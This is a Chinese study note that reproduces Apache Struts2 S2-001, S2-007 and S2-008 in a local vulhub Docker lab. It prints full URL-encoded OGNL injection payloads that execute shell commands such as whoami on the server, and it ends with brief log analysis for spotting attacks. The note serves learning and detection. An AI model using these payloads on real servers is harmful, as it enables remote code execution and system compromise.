本文为学习笔记,仅限学习交流。
不得利用、从事危害国家或人民安全、荣誉和利益等活动。
请参阅《中华人民共和国网络安全法》
简介&准备:
1、centos7 已开启docker :systemctl restart docker.service
2、进入vulhub —struts2 : cd vulhub/struts2
3、启用测试环境:docker-compose up -d (参照模块下的说明文档)
4、PC机打开网址:youIP:8080 (参照模块下的说明文档)
5、开启BP抓包测试,修改Payload
复现成功!
6、查看日志
s2-001 复现全过程:
1、开启docker
进入vulhub —struts2—s2-001
命令:cd vulhub/struts2/s2-001
查看s2-001目录
命令:ls
(Readme.md 英文说明, Readme.zh-cn.md 中文说明)
先查看说明文件 命令:cat Readme.zh-cn.md
启动容器(参照说明命令)
命令:docker-compose build
docker-compose up -d
2、PC机网页访问:
youIP :8080
显示登录页面
开启代理,开启BP 抓包
3、BP抓包,发送至Repeater模块
在用户名或密码处尝试修改payload:
%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22whoami%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D
在例:whoami 修改为:pwd
回显出路径:/usr/local/tomcat
执行了payload 里的语句 whoami ,回显 root
执行了payload 里的语句 pwd , 回显出路径:/usr/local/tomcat
复现成功!
4、 查看日志 (步骤1.查看容器ID 2.进入容器,找到日志文件 3.打开日志)
命令:docker ps (首先查看开启的容器/容器的ID)
命令:docker exec -it f523bb254057 /bin/bash (进入容器:docker exec -it 容器ID /bin/bash )
进入容器后ls查看目录,找到logs文件也就是日志存放的文件,ls查看目录,找到日志记录的txt文件
命令:cat localhost_access_log.2019-11-14.txt (cat +文件名)
5、日志分析
根据日志显示字节长度,判断是否为恶意、攻击等行为。 (正常请求不会超过一千)
s2-007 漏洞复现过程 (接s2-001 继续步骤)
1、退出命令: exit (退出至s2-001)
2、关闭容器:( docker stop 容器ID )(为避免8080端口冲突导致容器无法运行)
命令: docker stop f523bb254057
进入s2-007命令:cd …/s2-007
3、查看s2-007 操作说明
根据说明:搭建测试环境
4、环境搭建完成,网页打开:youip+8080
显示测试页面,开启代理,BP抓包—— 尝试修改payload
Payload修改为:
=%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29+%2B+%27
s2-008 漏洞复现过程 (接s2-007 继续步骤)
1、退出命令: exit (退出至s2-007)
2、关闭容器:( docker stop 容器ID )(为避免8080端口冲突导致容器无法运行)
命令: docker stop f523bb254057
进入s2-007命令:cd …/s2-008
3、查看s2-008 操作说明
根据说明:搭建测试环境
4、环境搭建完成,网页打开:youip+8080
显示测试页面,在url后加payload
(F12 利用HackBar小工具,可看到全部内容)
http://192.168.50.135:8080/devmode.action?debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b%3dnew%20java.io.InputStreamReader%28%23a%29%2c%23c%3dnew%20java.io.BufferedReader%28%23b%29%2c%23d%3dnew%20char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29
日志直接显示出完整的payload,说名存在恶意攻击
-End